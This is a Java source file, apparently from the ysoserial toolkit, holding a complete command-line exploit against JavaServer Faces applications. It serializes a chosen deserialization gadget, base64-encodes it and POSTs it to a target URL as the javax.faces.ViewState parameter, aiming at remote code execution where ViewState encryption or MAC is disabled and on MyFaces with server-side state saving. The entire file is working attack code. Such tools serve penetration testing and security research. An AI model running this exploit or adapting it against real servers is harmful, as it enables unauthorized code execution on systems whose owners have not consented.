package ysoserial.exploit;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
URL u = new URL(args[ 0 ]);
URLConnection c = u.openConnection();
if ( ! ( c instanceof HttpURLConnection ) ) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
}